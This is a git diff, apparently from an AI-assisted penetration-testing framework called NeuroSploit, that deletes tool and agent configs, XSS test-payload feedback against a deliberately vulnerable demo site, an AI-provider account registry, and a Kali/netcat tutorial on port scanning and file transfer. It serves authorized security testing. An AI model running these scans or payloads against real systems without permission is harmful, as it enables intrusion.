"description": "NeuroSploit pentest tools: screenshots, payload delivery, DNS, port scan, tech detect, subdomain enum, findings, AI prompts, Nuclei scanner, Naabu port scanner, sandbox execution" - } - }, - "sandbox": { - "enabled": false, - "mode": "per_scan", - "image": "neurosploit-sandbox:latest", - "container_name": "neurosploit-sandbox", - "auto_start": false, - "kali": { - "enabled": true, - "image": "neurosploit-kali:latest", - "max_concurrent": 5, - "container_ttl_minutes": 60, - "auto_cleanup_orphans": true - }, - "resources": { - "memory_limit": "2g", - "cpu_limit": 2.0 - }, - "tools": [ - "nuclei", "naabu", "nmap", "httpx", "subfinder", "katana", - "dnsx", "ffuf", "gobuster", "dalfox", "nikto", "sqlmap", - "whatweb", "curl", "dig", "whois", "masscan", "dirsearch", - "wfuzz", "arjun", "wafw00f", "waybackurls" - ], - "nuclei": { - "rate_limit": 150, - "timeout": 600, - "severity_filter": "critical,high,medium", - "auto_update_templates": true - }, - "naabu": { - "rate": 1000, - "top_ports": 1000, - "timeout": 300 - } - }, - "output": { - "format": "json", - "verbose": true, - "save_artifacts": true - } -} \ No newline at end of file diff --git a/config/config2.json b/config/config2.json deleted file mode 100755 index cb32a4e..0000000 --- a/config/config2.json +++ /dev/null @@ -1,154 +0,0 @@ -{ - "llm": { - "default_profile": "gemini_pro_default", - "profiles": { - "ollama_llama3_default": { - "provider": "ollama", - "model": "llama3:8b", - "api_key": "", - "temperature": 0.7, - "max_tokens": 4096, - "input_token_limit": 8000, - "output_token_limit": 4000, - "cache_enabled": true, - "search_context_level": "medium", - "pdf_support_enabled": false, - "guardrails_enabled": true, - "hallucination_mitigation_strategy": null - }, - "gemini_pro_default": { - "provider": "gemini", - "model": "gemini-pro", - "api_key": "${GEMINI_API_KEY}", - "temperature": 0.7, - "max_tokens": 4096, - "input_token_limit": 30720, - "output_token_limit": 2048, - "cache_enabled": true, - "search_context_level": "medium", - "pdf_support_enabled": true, - "guardrails_enabled": true, - "hallucination_mitigation_strategy": "consistency_check" - }, - "claude_opus_default": { - "provider": "claude", - "model": "claude-opus-4-6-20250918", - "api_key": "${ANTHROPIC_API_KEY}", - "temperature": 0.7, - "max_tokens": 16384, - "input_token_limit": 1000000, - "output_token_limit": 16384, - "cache_enabled": true, - "search_context_level": "high", - "pdf_support_enabled": true, - "guardrails_enabled": true, - "hallucination_mitigation_strategy": "self_reflection" - }, - "gpt_4o_default": { - "provider": "gpt", - "model": "gpt-4o", - "api_key": "${OPENAI_API_KEY}", - "temperature": 0.7, - "max_tokens": 4096, - "input_token_limit": 128000, - "output_token_limit": 4096, - "cache_enabled": true, - "search_context_level": "high", - "pdf_support_enabled": true, - "guardrails_enabled": true, - "hallucination_mitigation_strategy": "consistency_check" - } - } - }, - "agent_roles": { - "bug_bounty_hunter": { - "enabled": true, - "tools_allowed": [ - "subfinder", - "nuclei", - "burpsuite", - "sqlmap" - ], - "description": "Focuses on web application vulnerabilities, leveraging recon and exploitation tools." - }, - "blue_team_agent": { - "enabled": true, - "tools_allowed": [], - "description": "Analyzes logs and telemetry for threats, provides defensive strategies." - }, - "exploit_expert": { - "enabled": true, - "tools_allowed": [ - "metasploit", - "nmap" - ], - "description": "Devises exploitation strategies and payloads for identified vulnerabilities." - }, - "red_team_agent": { - "enabled": true, - "tools_allowed": [ - "nmap", - "metasploit", - "hydra" - ], - "description": "Plans and executes simulated attacks to test an organization's defenses." - }, - "replay_attack_specialist": { - "enabled": true, - "tools_allowed": [ - "burpsuite" - ], - "description": "Identifies and leverages replay attack vectors in network traffic or authentication." - }, - "pentest_generalist": { - "enabled": true, - "tools_allowed": [ - "nmap", - "subfinder", - "nuclei", - "metasploit", - "burpsuite", - "sqlmap", - "hydra" - ], - "description": "Performs comprehensive penetration tests across various domains." - }, - "owasp_expert": { - "enabled": true, - "tools_allowed": [ - "burpsuite", - "sqlmap" - ], - "description": "Specializes in assessing web applications against OWASP Top 10 vulnerabilities." - }, - "cwe_expert": { - "enabled": true, - "tools_allowed": [], - "description": "Analyzes code and reports for weaknesses based on MITRE CWE Top 25." - }, - "malware_analyst": { - "enabled": true, - "tools_allowed": [], - "description": "Examines malware samples to understand functionality and identify IOCs." - } - }, - "methodologies": { - "owasp_top10": true, - "cwe_top25": true, - "network_pentest": true, - "ad_pentest": true, - "web_security": true - }, - "tools": { - "nmap": "/usr/bin/nmap", - "metasploit": "/usr/bin/msfconsole", - "burpsuite": "/usr/bin/burpsuite", - "sqlmap": "/usr/bin/sqlmap", - "hydra": "/usr/bin/hydra" - }, - "output": { - "format": "json", - "verbose": true, - "save_artifacts": true - } -} \ No newline at end of file diff --git a/cookies.txt b/cookies.txt deleted file mode 100644 index c31d989..0000000 --- a/cookies.txt +++ /dev/null @@ -1,4 +0,0 @@ -# Netscape HTTP Cookie File -# https://curl.se/docs/http-cookies.html -# This file was generated by libcurl! Edit at your own risk. - diff --git a/cookies_auth.txt b/cookies_auth.txt deleted file mode 100644 index c31d989..0000000 --- a/cookies_auth.txt +++ /dev/null @@ -1,4 +0,0 @@ -# Netscape HTTP Cookie File -# https://curl.se/docs/http-cookies.html -# This file was generated by libcurl! Edit at your own risk. - diff --git a/data/adaptive_learning.json b/data/adaptive_learning.json deleted file mode 100644 index 587a78f..0000000 --- a/data/adaptive_learning.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "feedback": [ - { - "vuln_id": "1b79cb50-2f1e-4ab2-a8bc-3de7b95f2fbc", - "vuln_type": "unknown", - "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E", - "param": "file", - "payload_pattern": "", - "is_true_positive": false, - "explanation": "nao disparou alerta de XSS e parece ser mais um possivel Path Transversal aqui", - "severity": "medium", - "domain": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E", - "timestamp": "2026-02-16T20:41:38.817732" - }, - { - "vuln_id": "836fd546-ee28-4869-a9fe-1c2cd37a3f41", - "vuln_type": "unknown", - "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E", - "param": "pp", - "payload_pattern": "", - "is_true_positive": false, - "explanation": "Parece ser mais DOM XSS", - "severity": "medium", - "domain": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E", - "timestamp": "2026-02-16T20:42:01.342162" - } - ], - "patterns": { - "unknown": [ - { - "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E", - "vuln_type": "unknown", - "indicators": [ - "file" - ], - "is_false_positive": true, - "confidence": 0.5, - "feedback_count": 1, - "domain": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E", - "explanation_summary": "nao disparou alerta de XSS e parece ser mais um possivel Path Transversal aqui", - "last_updated": "2026-02-16T20:41:38.817738" - }, - { - "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E", - "vuln_type": "unknown", - "indicators": [ - "pp" - ], - "is_false_positive": true, - "confidence": 0.5, - "feedback_count": 1, - "domain": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E", - "explanation_summary": "Parece ser mais DOM XSS", - "last_updated": "2026-02-16T20:42:01.342167" - } - ] - }, - "metadata": { - "total_feedback": 2, - "total_patterns": 2, - "last_updated": "2026-02-16T20:42:01.342235" - } -} \ No newline at end of file diff --git a/data/custom-knowledge/index.json b/data/custom-knowledge/index.json deleted file mode 100644 index 76affd9..0000000 --- a/data/custom-knowledge/index.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "documents": [ - { - "id": "1c4cf70f-d4a", - "filename": "pentest.md", - "title": "Kali Linux Penetration Testing Fundamentals and Essential Tools", - "source_type": "md", - "uploaded_at": "2026-02-16T14:50:31.618020", - "processed": true, - "file_size_bytes": 20702, - "summary": "This document provides an introduction to Kali Linux as a penetration testing platform and covers fundamental Linux concepts. It discusses the differences between vulnerability assessments and penetration tests, emphasizes legal considerations including written authorization requirements, and introduces netcat as an essential networking tool for security testing.", - "vuln_types": [], - "knowledge_entries": [] - } - ], - "vuln_type_index": { - "information_disclosure": [], - "clickjacking": [] - }, - "version": "1.0", - "updated_at": "2026-04-28T19:00:40.997968" -} \ No newline at end of file diff --git a/data/custom-knowledge/uploads/1c4cf70f-d4a_pentest.md b/data/custom-knowledge/uploads/1c4cf70f-d4a_pentest.md deleted file mode 100644 index e78dea7..0000000 --- a/data/custom-knowledge/uploads/1c4cf70f-d4a_pentest.md +++ /dev/null @@ -1,344 +0,0 @@ - - ----------- -Chapter 1: Introduction -======== -About Kali Linux ------------------------- - -> [Kali Linux](https://www.kali.org/) is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools which are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering. Kali Linux is developed, funded and maintained by [Offensive Security](http://www.offensive-security.com/), a leading information security training company. - -Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of [BackTrack Linux](http://www.backtrack-linux.org/), adhering completely to Debian development standards. - -Linux Basics ---------------- -You should aware of some basics of Linux commands which will be used and come in handy and will be lot helpful. Here only basics are covered and more detail can be found at this [link](https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-i-o-redirection) -**Streams** -Input and output in the Linux environment is distributed across three streams. These streams are: - - standard input (stdin) # typically carries data from a user to a program - standard output (stdout) # writes the data that is generated by a program - standard error (stderr) # writes the errors generated by a program that has failed at some point in its execution -The streams are also numbered: - - stdin (0) # cat - stdout (1) # echo - stderr (2) -**Stream Redirection** -Linux includes redirection commands for each stream. These commands write standard output to a file. If a non-existent file is targetted (either by a single-bracket or double-bracket command), a new file with that name will be created prior to writing. - -Commands with a single bracket overwrite the destination's existing contents. - -Overwrite - - > - standard output - < - standard input - 2> - standard error - -Commands with a double bracket do not overwrite the destination's existing contents. - -Append - - >> - standard output - << - standard input - 2>> - standard error -**Pipes** -Pipes (vertical bar `*|*`) are used to redirect a stream from one program to another. When a program's standard output is sent to another through a pipe, the first program's data, which is received by the second program, will not be displayed on the terminal. Only the filtered data returned by the second program will be displayed. -**Filters** -Filters are commands that alter piped redirection and output. ->filter commands are also standard Linux commands that can be used without pipes. - -* `find` - returns files with filenames that match the argument passed to find. -* `grep` - returns text that matches the string pattern passed to grep. -* `tee` - redirects standard input to both standard output and one or more files. (typically used to view a program's output while simultaneously saving it to a file.) -* `tr` - finds-and-replaces one string with another. -* `wc` - counts characters, lines, and words. - -About Penetration Testing ----------------------------------- -**vulnerability assessment :** simply identifies and reports noted vulnerabilities -**penetration test(Pen Test)** attempts to exploit the vulnerabilities to determine whether unauthorized access or other malicious activity is possible. Penetration testing typically includes network penetration testing and application security testing as well as controls and processes around the networks and applications, and should occur from both outside the network trying to come in (external testing) and from inside the network. - -an authorised simulated attack on a computer system, performed to evaluate the security of the system. The test is performed to identify both weaknesses (also referred to as vulnerabilities), including the potential for unauthorized parties to gain access to the system's features and data,as well as strengths, enabling a full risk assessment to be completed. - -***Penetration testing tools*** are used as part of a penetration test(Pen Test) to automate certain tasks, improve testing efficiency and discover issues that might be difficult to find using manual analysis techniques alone. Two common penetration testing tools are static analysis tools and dynamic analysis tools. - - -Legal ------- -> As one might expect, there are a wealth of legal issues that are associated with information security. Whether it’s a matter of preventing security breaches in order to maintain the security of your client information (or that of your organization), or simply realizing exactly how far one’s obligations go when it comes to information security, it’s important to realize exactly what your obligations are as far as the legal world goes with information security. - -Because technology is ever-changing, there are always questions about what the legal protections might be when it comes to the misuse of new technology, or even what sort of jurisdiction might govern your organization or its clients. One of the biggest problems with computer crime is that laws still aren’t clear as to who polices what online, if anything. As a result, companies must protect themselves against an attack on their internal servers and other information that might be at risk. -**Major Issues** - - One of the biggest issues that organizations will face as far as maintaining your information security goes is that technology is developing so quickly that it is hard for the legal system to keep up. Even if you have taken the time to amass evidence against those who may have breached your information security system, there are no guarantees that this evidence will even be admissible in a court of law. - - Penetration testing may affect system performance, and can raise confidentiality and integrity issues; therefore, this is very important, even in an internal penetration testing, which is performed by an internal staff to get permission in writing. There should be a written agreement between a tester and the company/organization/individual to clarify all the points regarding the data security, disclosure, etc. before commencing testing. -> One consideration that pen testers should be aware of is the laws surrounding the practice of port scanning. - -You need to consider exactly how tightly your pen test will need to scan the systems that you are authorized to scan. Also, ensure you have permission to conduct the scan with a legitimate reason to do so; it is far easier to ask permission in this case than to beg forgiveness. - - ----------- - - -Chapter 2: The Essential Tools -======== -Netcat --------- -> This simple utility reads and writes data across TCP or UDP network connections. It is designed to be a reliable back-end tool to use directly or easily drive by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need, including port binding to accept incoming connections. - -Official website: http://nc110.sourceforge.net/ -### Features -The original netcat's features include: - -* Outbound or inbound connections, TCP or UDP, to or from any ports -* Full DNS forward/reverse checking, with appropriate warnings -* Ability to use any local source port -* Ability to use any locally configured network source address -* Built-in port-scanning capabilities, with randomization -* Built-in loose source-routing capability -* Can read command line arguments from standard input -* Slow-send mode, one line every N seconds -* Hex dump of transmitted and received data -* Optional ability to let another program service establish connections -* Optional telnet-options responder -* Featured tunneling mode which permits user-defined tunneling, e.g., UDP or TCP, with the possibility of specifying all network parameters (source port/interface, listening port/interface, and the remote host allowed to connect to the tunnel). - -#### The Basics -The most basic syntax is: - - $ netcat [options] host port -This will attempt to initiate a TCP to the defined host on the port number specified. This is basically functions similarly to the old Linux telnet command. Keep in mind that your connection is entirely unencrypted. - -If you would like to send a UDP packet instead of initiating a TCP connection, you can use the -u option: - - $ netcat -u host port -You can specify a range of ports by placing a dash between the first and last: - - $ netcat host startport-endport -### Netcat for Port Scanning -the most common uses for netcat is as a port scanner. - - $ netcat -z -v domain.com 1-10000 -`-z` - to perform a scan instead of attempting to initiate a connection -`-v` - provide more verbose information. -`1-10000` - scan all ports up to 10000 by issuing this command -Output: - - nc: connect to domain.com port 1 (tcp) failed: Connection refused - nc: connect to domain.com port 2 (tcp) failed: Connection refused - nc: connect to domain.com port 3 (tcp) failed: Connection refused - nc: connect to domain.com port 4 (tcp) failed: Connection refused - nc: connect to domain.com port 5 (tcp) failed: Connection refused - nc: connect to domain.com port 6 (tcp) failed: Connection refused - nc: connect to domain.com port 7 (tcp) failed: Connection refused - . . . - Connection to domain.com 22 port [tcp/ssh] succeeded! - . . . - Connection to domain.com 8000 port [tcp/*] succeeded! - -> scan will go much faster if you know the IP address that you need. You can then use the `-n` flag to specify that you do not need to resolve the IP address using DNS - -Another example: - -Checking whether UDP ports (-u) 27010-27015 are open on 209.58.178.32 using zero mode I/O (-z) - - $ nc -vzu 209.58.178.32 27010-27015 - Connection to 209.58.178.32 27015 port [udp/*] succeeded! - -\* for education purpose only I have use ip of open server for the game counter strike -### Communicate through Netcat - -Netcat can listen on a port for connections and packets. This gives us the opportunity to connect two instances of netcat in a client-server relationship. - -On one machine, you can tell netcat to listen to a specific port for connections. We can do this by providing the `-l` parameter and choosing a port: - - $ netcat -l 4444 - - As a regular (non-root) user, you will not be able to open any ports under 1000, as a security measure. -On another machine we'll connect to the first machine on the port number we choose - - $ netcat domain.com 4444 - -### File Transfer with NetCat -Because we are establishing a regular TCP connection, we can transmit just about any kind of information over that connection. It is not limited to chat messages that are typed in by a user. We can use this knowledge to turn netcat into a file transfer program. - -again, we need to choose one end of the connection to listen for connections. However, instead of printing information onto the screen, we will place all of the information straight into a file. - - $ netcat -l 4444 > received_file -On other machine transfer the file as: - - netcat domain.com 4444 < original_file -For instance, we can transfer the contents of an entire directory by creating an unnamed tarball on-the-fly, transferring it to the remote system, and unpacking it into the remote directory. - -On the receiving end, we can anticipate a file coming over that will need to be unzipped and extracted by typing: - - $ netcat -l 4444 | tar xzvf - -the ending dash (`-`) means that tar will operate on standard input, which is being piped from netcat across the network when a connection is made. -On the side with the directory contents we want to transfer, we can pack them into a tarball and then send them to the remote computer through netcat: - - $ tar -czf - * | netcat domain.com 4444 -This time, the dash (`-`) in the tar command means to tar and zip the contents of the current directory (as specified by the `*` wildcard), and write the result to standard output. -> use the `dd` command to image a disk on one side and transfer it to a remote computer. - -### Netcat as a Simple Web Server -create a HTML `index.html` file and serve it to desire port address (as previously you can not host to port below 1000 as non root user) - - printf 'HTTP/1.1 200 OK\n\n%s' "$(cat index.html)" | netcat -l 8888 -This will serve the page, and then the netcat connection will close. If you attempt to refresh the page, it will be gone -We can have netcat serve the page indefinitely by wrapping the last command in an infinite loop, as: - - while true; do printf 'HTTP/1.1 200 OK\n\n%s' "$(cat index.html)" | netcat -l 8888; done ----------- -***Ncat*** -Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses. - -Among Ncat’s vast number of features there is the ability to chain Ncats together, redirect both TCP and UDP ports to other sites, SSL support, and proxy connections via SOCKS4 or HTTP (CONNECT method) proxies (with optional proxy authentication as well). Some general principles apply to most applications and thus give you the capability of instantly adding networking support to software that would normally never support it. - - ----------- -Wireshark -------------- -> Official document: https://www.wireshark.org/docs/wsug_html_chunked/ -> Other helpful link(s): -> https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/ - -Wireshark is a network packet analyzer. A network packet analyzer will try to capture network packets and tries to display that packet data as detailed as possible. - -Wireshark is a free application that allows you to capture and view the data traveling back and forth on your network, providing the ability to drill down and read the contents of each packet – filtered to meet your specific needs. It is commonly utilized to troubleshoot network problems as well as to develop and test software. This open-source protocol analyzer is widely accepted as the industry standard, winning its fair share of awards over the years. - -## Why use Wireshark? -- Network administrators use it to troubleshoot network problems -- Network security engineers use it to examine security problems -- QA engineers use it to verify network applications -- Developers use it to debug protocol implementations -- People use it to learn network protocol internals - -### Features -- _Capture_ live packet data from a network interface. -- _Open_ files containing packet data captured with tcpdump/WinDump, Wireshark, and a number of other packet capture programs. -- _Import_ packets from text files containing hex dumps of packet data. -- Display packets with _very detailed protocol information_. -- _Filter packets_ on many criteria. -: i.e. IPv4 address, IPv6 address, ethernet address, port, tcp, udp etc. -- _Search_ for packets on many criteria. -- Create various _statistics_. - -## Making Sense of Network Dumps -## Capture and Display Filters -Some of the filters are as below: - -filter packets if ipv4 address is equal to 54.36.48.153 (using `eq` or `==`) - - ip.addr eq 54.36.48.153 -you can use multiple expression with `and` or `&&` - - ip.addr eq 54.36.48.153 and tcp.stream eq 6 - -get conversation with specific ip and port - - (ip.addr eq 54.36.48.153 and ip.addr eq 200.200.200.9) and (tcp.port eq 8000 and tcp.port eq 34018) - - Look at below filter options in wireshark, here various available filter with example expression and as per requirement we can combine various filter with various Boolean operators -![wireshark filters](https://i.imgur.com/Hms4ccu.png) - -## Following TCP Streams -A good [link](https://www.youtube.com/watch?time_continue=4&v=xPgCZwj446o) to learn in detail how to follow tcp stream: -![TCP stream Index](https://i.imgur.com/smfXY16.png) - - ----------- - - -Tcpdump ------------ -Official [site](https://www.tcpdump.org/tcpdump_man.html) - -other references: -https://linux.die.net/man/8/tcpdump -https://danielmiessler.com/study/tcpdump/ -> Tcpdump is the premier network analysis tool for information security professionals. - -When using a tool that displays network traffic a more natural (raw) way the burden of analysis is placed directly on the human rather than the application. This approach cultivates continued and elevated understanding of the TCP/IP suite -### Options - -- **`-i any`** : Listen on all interfaces just to see if you’re seeing any traffic. -- **`-i eth0`** : Listen on the eth0 interface. -- **`-D`** : Show the list of available interfaces -- **`-n`** : Don’t resolve hostnames. -- **`-nn`** : Don’t resolve hostnames _or_ port names. -- **`-q`** : Be less verbose (more quiet) with your output. -- **`-t`** : Give human-readable timestamp output. -- **`-tttt`** : Give maximally human-readable timestamp output. -- **`-X`** : Show the packet’s _contents_ in both [hex](https://en.wikipedia.org/wiki/Hexidecimal) and [ascii](https://en.wikipedia.org/wiki/Ascii). -- **`-XX`** : Same as **`-X`**, but also shows the ethernet header. -- **`-v, -vv, -vvv`** : Increase the amount of packet information you get back. -- **`-c`** : Only get _x_ number of packets and then stop. -- **`-s`** : Define the _snaplength_ (size) of the capture in bytes. Use `-s0` to get everything, unless you are intentionally capturing less. -- **`-S`** : Print absolute sequence numbers. -- **`-e`** : Get the ethernet header as well. -- **`-q`** : Show less protocol information. -- **`-E`** : Decrypt IPSEC traffic by providing an encryption key. -### Expressions - -In `tcpdump`, _Expressions_ allow you to trim out various types of traffic and find exactly what you’re looking for. Mastering the expressions and learning to combine them creatively is what makes one truly powerful with `tcpdump`. - -There are three main types of expression: `type`, `dir`, and `proto`. - -- Type options are: `host`, `net`, and `port`. -- Direction lets you do `src`, `dst`, and combinations thereof. -- Proto(col) lets you designate: `tcp`, `udp`, `icmp`, `ah`, and many more. -## Filtering Traffic -**Filtering hosts:** -| | | -|--|--| -| Match any traffic involving 192.168.1.1 as destination or source | `$ tcpdump -i eth1 host 192.168.1.1` | -| As source only | `$ tcpdump -i eth1 src host 192.168.1.1` | -| As destination only | `$ tcpdump -i eth1 dst host 192.168.1.1` | -**Filtering ports :** -| | | -|--|--| -| Match any traffic involving port 25 as source or destination | `$ tcpdump -i eth1 port 25` | -| As source only | `$ tcpdump -i eth1 src port 25` | -| As destination only | `$ tcpdump -i eth1 dst port 25` | -**Network filtering :** - - $ tcpdump -i eth1 net 192.168 - $ tcpdump -i eth1 src net 192.168 - $ tcpdump -i eth1 dst net 192.168 -**Protocol filtering :** - - $ tcpdump -i eth1 arp - $ tcpdump -i eth1 ip - - $ tcpdump -i eth1 tcp - $ tcpdump -i eth1 udp - $ tcpdump -i eth1 icmp -***Combine expressions :*** -*Negation* : `!` or `not` (without the quotes) -*Concatanate* : `&&` or `and` -*Alternate* : `||` or `or` - -- This rule will match any TCP traffic on port `80` (web) with `192.168.1.254` or `192.168.1.200` as destination host - - `$ tcpdump -i eth1 '((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))'` - -- Will match any ICMP traffic involving the destination with physical/MAC address `00:01:02:03:04:05` - - `$ tcpdump -i eth1 '((icmp) and ((ether dst host 00:01:02:03:04:05)))'` - -- Will match any traffic for the destination network `192.168` except destination host `192.168.1.200` - - `$ tcpdump -i eth1 '((tcp) and ((dst net 192.168) and (not dst host 192.168.1.200)))'` - -## Advanced Header Filtering -> Helpful [link](https://www.wains.be/pub/networking/tcpdump_advanced_filters.txt) -| | | -|--|--| -| `proto[x:y]` | will start filtering from byte `x` for `y` bytes. `ip[2:2]` would filter bytes `3` and `4` (first byte begins by 0) | -| `proto[x:y] & z = 0` | will *match* bits set to `0` when applying `mask z` to `proto[x:y]` -| `proto[x:y] & z !=0` | some bits are *set* when applying `mask z` to `proto[x:y]` -| `proto[x:y] & z = z` | *every* bits are *set* to `z` when applying `mask z` to `proto[x:y]` -| `proto[x:y] = z` | `p[x:y]` has exactly the bits set to `z` - -**IP header** -![IP header](https://i.imgur.com/rD6BF52.jpg) diff --git a/data/providers.json b/data/providers.json deleted file mode 100644 index db9edb6..0000000 --- a/data/providers.json +++ /dev/null @@ -1,269 +0,0 @@ -{ - "claude_code": { - "id": "claude_code", - "name": "Claude Code", - "auth_type": "oauth", - "api_format": "anthropic", - "base_url": "https://api.anthropic.com", - "tier": 1, - "default_model": "claude-sonnet-4-5-20250929", - "accounts": { - "acct_36f54de8": { - "id": "acct_36f54de8", - "label": "Claude Code (credentials file)", - "source": "cli_detect", - "credential_type": "oauth", - "created_at": "2026-02-16T18:46:19Z", - "last_used": null, - "tokens_used": 0, - "is_active": true, - "expires_at": 1771822745.308, - "model_override": null - } - }, - "env_key": null, - "enabled": true - }, - "codex_cli": { - "id": "codex_cli", - "name": "OpenAI Codex CLI", - "auth_type": "oauth", - "api_format": "openai_compat", - "base_url": "https://api.openai.com/v1", - "tier": 1, - "default_model": "gpt-4o", - "accounts": {}, - "env_key": null, - "enabled": true - }, - "gemini_cli": { - "id": "gemini_cli", - "name": "Gemini CLI", - "auth_type": "oauth", - "api_format": "gemini_code_assist", - "base_url": "https://cloudcode-pa.googleapis.com", - "tier": 1, - "default_model": "gemini-2.5-flash", - "accounts": { - "acct_ad76c781": { - "id": "acct_ad76c781", - "label": "Gemini CLI", - "source": "cli_detect", - "credential_type": "oauth", - "created_at": "2026-02-16T18:45:22Z", - "last_used": "2026-02-18T14:59:29Z", - "tokens_used": 5009, - "is_active": true, - "expires_at": 1771461656.003, - "model_override": null - } - }, - "env_key": null, - "enabled": true - }, - "cursor": { - "id": "cursor", - "name": "Cursor", - "auth_type": "oauth", - "api_format": "openai_compat", - "base_url": "https://api2.cursor.sh/v1", - "tier": 1, - "default_model": "cursor-fast", - "accounts": {}, - "env_key": null, - "enabled": true - }, - "copilot": { - "id": "copilot", - "name": "GitHub Copilot", - "auth_type": "oauth", - "api_format": "openai_compat", - "base_url": "https://api.githubcopilot.com", - "tier": 1, - "default_model": "gpt-4o", - "accounts": {}, - "env_key": null, - "enabled": true - }, - "iflow": { - "id": "iflow", - "name": "iFlow AI", - "auth_type": "oauth", - "api_format": "openai_compat", - "base_url": "https://api.iflow.ai/v1", - "tier": 1, - "default_model": "kimi-k2", - "accounts": {}, - "env_key": null, - "enabled": true - }, - "qwen_code": { - "id": "qwen_code", - "name": "Qwen Code", - "auth_type": "oauth", - "api_format": "openai_compat", - "base_url": "https://chat.qwen.ai/api/v1", - "tier": 1, - "default_model": "qwen3-coder", - "accounts": {}, - "env_key": null, - "enabled": true - }, - "kiro": { - "id": "kiro", - "name": "Kiro AI", - "auth_type": "oauth", - "api_format": "anthropic", - "base_url": "https://api.anthropic.com", - "tier": 1, - "default_model": "claude-sonnet-4-5-20250929", - "accounts": {}, - "env_key": null, - "enabled": true - }, - "anthropic": { - "id": "anthropic", - "name": "Anthropic", - "auth_type": "api_key", - "api_format": "anthropic", - "base_url": "https://api.anthropic.com", - "tier": 1, - "default_model": "claude-sonnet-4-5-20250929", - "accounts": { - "acct_eaabc038": { - "id": "acct_eaabc038", - "label": "Anthropic (env)", - "source": "env_var", - "credential_type": "api_key", - "created_at": "2026-02-16T13:46:47Z", - "last_used": "2026-02-16T19:05:03Z", - "tokens_used": 114420, - "is_active": true, - "expires_at": null, - "model_override": null - } - }, - "env_key": "ANTHROPIC_API_KEY", - "enabled": true - }, - "openai": { - "id": "openai", - "name": "OpenAI", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://api.openai.com/v1", - "tier": 1, - "default_model": "gpt-4o", - "accounts": {}, - "env_key": "OPENAI_API_KEY", - "enabled": true - }, - "gemini": { - "id": "gemini", - "name": "Gemini", - "auth_type": "api_key", - "api_format": "gemini", - "base_url": "https://generativelanguage.googleapis.com/v1beta", - "tier": 1, - "default_model": "gemini-2.5-flash", - "accounts": {}, - "env_key": "GEMINI_API_KEY", - "enabled": true - }, - "openrouter": { - "id": "openrouter", - "name": "OpenRouter", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://openrouter.ai/api/v1", - "tier": 1, - "default_model": "anthropic/claude-sonnet-4-5", - "accounts": {}, - "env_key": "OPENROUTER_API_KEY", - "enabled": true - }, - "glm": { - "id": "glm", - "name": "GLM (Zhipu AI)", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://open.bigmodel.cn/api/paas/v4", - "tier": 2, - "default_model": "glm-4-flash", - "accounts": {}, - "env_key": "GLM_API_KEY", - "enabled": true - }, - "kimi": { - "id": "kimi", - "name": "Kimi (Moonshot)", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://api.moonshot.cn/v1", - "tier": 2, - "default_model": "moonshot-v1-8k", - "accounts": {}, - "env_key": "KIMI_API_KEY", - "enabled": true - }, - "minimax": { - "id": "minimax", - "name": "Minimax", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://api.minimax.chat/v1", - "tier": 2, - "default_model": "abab6.5-chat", - "accounts": {}, - "env_key": "MINIMAX_API_KEY", - "enabled": true - }, - "together": { - "id": "together", - "name": "Together AI", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://api.together.xyz/v1", - "tier": 2, - "default_model": "meta-llama/Llama-3-70b-chat-hf", - "accounts": {}, - "env_key": "TOGETHER_API_KEY", - "enabled": true - }, - "fireworks": { - "id": "fireworks", - "name": "Fireworks AI", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "https://api.fireworks.ai/inference/v1", - "tier": 2, - "default_model": "accounts/fireworks/models/llama-v3p1-70b-instruct", - "accounts": {}, - "env_key": "FIREWORKS_API_KEY", - "enabled": true - }, - "ollama": { - "id": "ollama", - "name": "Ollama", - "auth_type": "api_key", - "api_format": "ollama", - "base_url": "http://localhost:11434", - "tier": 3, - "default_model": "llama3", - "accounts": {}, - "env_key": "OLLAMA_API_KEY", - "enabled": true - }, - "lmstudio": { - "id": "lmstudio", - "name": "LM Studio", - "auth_type": "api_key", - "api_format": "openai_compat", - "base_url": "http://localhost:1234/v1", - "tier": 3, - "default_model": "local-model", - "accounts": {}, - "env_key": "LMSTUDIO_API_KEY", - "enabled": true - } -} \ No newline at end of file diff --git a/data/reasoning_memory.json b/data/reasoning_memory.json deleted file mode 100644 index d275057..0000000 --- a/data/reasoning_memory.json +++ /dev/null @@ -1,5371 +0,0 @@ -{ - "traces": [ - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": 